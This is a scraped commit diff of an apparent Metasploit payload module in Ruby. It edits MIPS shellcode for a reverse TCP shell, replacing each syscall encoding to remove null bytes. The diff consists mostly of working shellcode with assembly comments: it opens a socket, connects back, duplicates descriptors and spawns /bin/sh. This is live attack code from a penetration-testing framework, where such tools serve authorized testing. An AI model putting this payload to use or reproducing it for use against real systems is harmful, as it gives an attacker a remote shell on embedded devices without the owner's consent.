10
10
##
11
11
12
12
# Written in a hurry using shellforge and my MIPS shellforge loader (avail. on cr0.org)
13
+ # + Few removals of unneccessary zero bytes by kost
13
14
14
15
require 'msf/core'
15
16
require 'msf/core/handler/reverse_tcp'
@@ -84,7 +85,7 @@ def generate
84
85
"\x02 \x00 \x05 \x24 " + # li a1,2
85
86
"\x21 \x30 \x00 \x00 " + # move a2,zero
86
87
"\x57 \x10 \x02 \x24 " + # li v0,4183
87
- "\x0c \x00 \x00 \x00 " + # syscall
88
+ "\x0c \x01 \x01 \x01 " + # syscall
88
89
"\x21 \x18 \x40 \x00 " + # move v1,v0
89
90
"\xff \xff \x02 \x24 " + # li v0,-1
90
91
"\x1a \x00 \x62 \x10 " + # beq v1,v0,0xf4
@@ -93,29 +94,29 @@ def generate
93
94
"\x08 \x00 \xa5 \x27 " + # addiu a1,sp,8
94
95
"\x10 \x00 \x06 \x24 " + # li a2,16
95
96
"\x4a \x10 \x02 \x24 " + # li v0,4170
96
- "\x0c \x00 \x00 \x00 " + # syscall
97
+ "\x0c \x01 \x01 \x01 " + # syscall
97
98
"\x0e \x00 \x40 \x14 " + # bnez v0,0xe0
98
99
"\x21 \x28 \x00 \x00 " + # move a1,zero
99
100
"\xdf \x0f \x02 \x24 " + # li v0,4063
100
- "\x0c \x00 \x00 \x00 " + # syscall
101
+ "\x0c \x01 \x01 \x01 " + # syscall
101
102
"\x01 \x00 \x05 \x24 " + # li a1,1
102
103
"\xdf \x0f \x02 \x24 " + # li v0,4063
103
- "\x0c \x00 \x00 \x00 " + # syscall
104
+ "\x0c \x01 \x01 \x01 " + # syscall
104
105
"\x02 \x00 \x05 \x24 " + # li a1,2
105
106
"\xdf \x0f \x02 \x24 " + # li v0,4063
106
- "\x0c \x00 \x00 \x00 " + # syscall
107
+ "\x0c \x01 \x01 \x01 " + # syscall
107
108
"\x21 \x30 \x00 \x00 " + # move a2,zero
108
109
"\x21 \x20 \x20 \x03 " + # move a0,t9
109
110
"\x20 \x00 \xa5 \x27 " + # addiu a1,sp,32
110
111
"\xab \x0f \x02 \x24 " + # li v0,4011
111
- "\x0c \x00 \x00 \x00 " + # syscall
112
+ "\x0c \x01 \x01 \x01 " + # syscall
112
113
"\x21 \x20 \x00 \x00 " + # move a0,zero
113
114
"\xa1 \x0f \x02 \x24 " + # li v0,4001
114
- "\x0c \x00 \x00 \x00 " + # syscall
115
+ "\x0c \x01 \x01 \x01 " + # syscall
115
116
"\x08 \x00 \xe0 \x03 " + # jr ra
116
117
"\x28 \x00 \xbd \x27 " + # addiu sp,sp,40
117
118
"\xa1 \x0f \x02 \x24 " + # li v0,4001
118
- "\x0c \x00 \x00 \x00 " + # syscall
119
+ "\x0c \x01 \x01 \x01 " + # syscall
119
120
"\xe5 \xff \x00 \x10 " + # b 0x94
120
121
"\x21 \x20 \x60 \x00 " + # move a0,v1
121
122
"\x2f \x62 \x69 \x6e " + # "/bin"
0 commit comments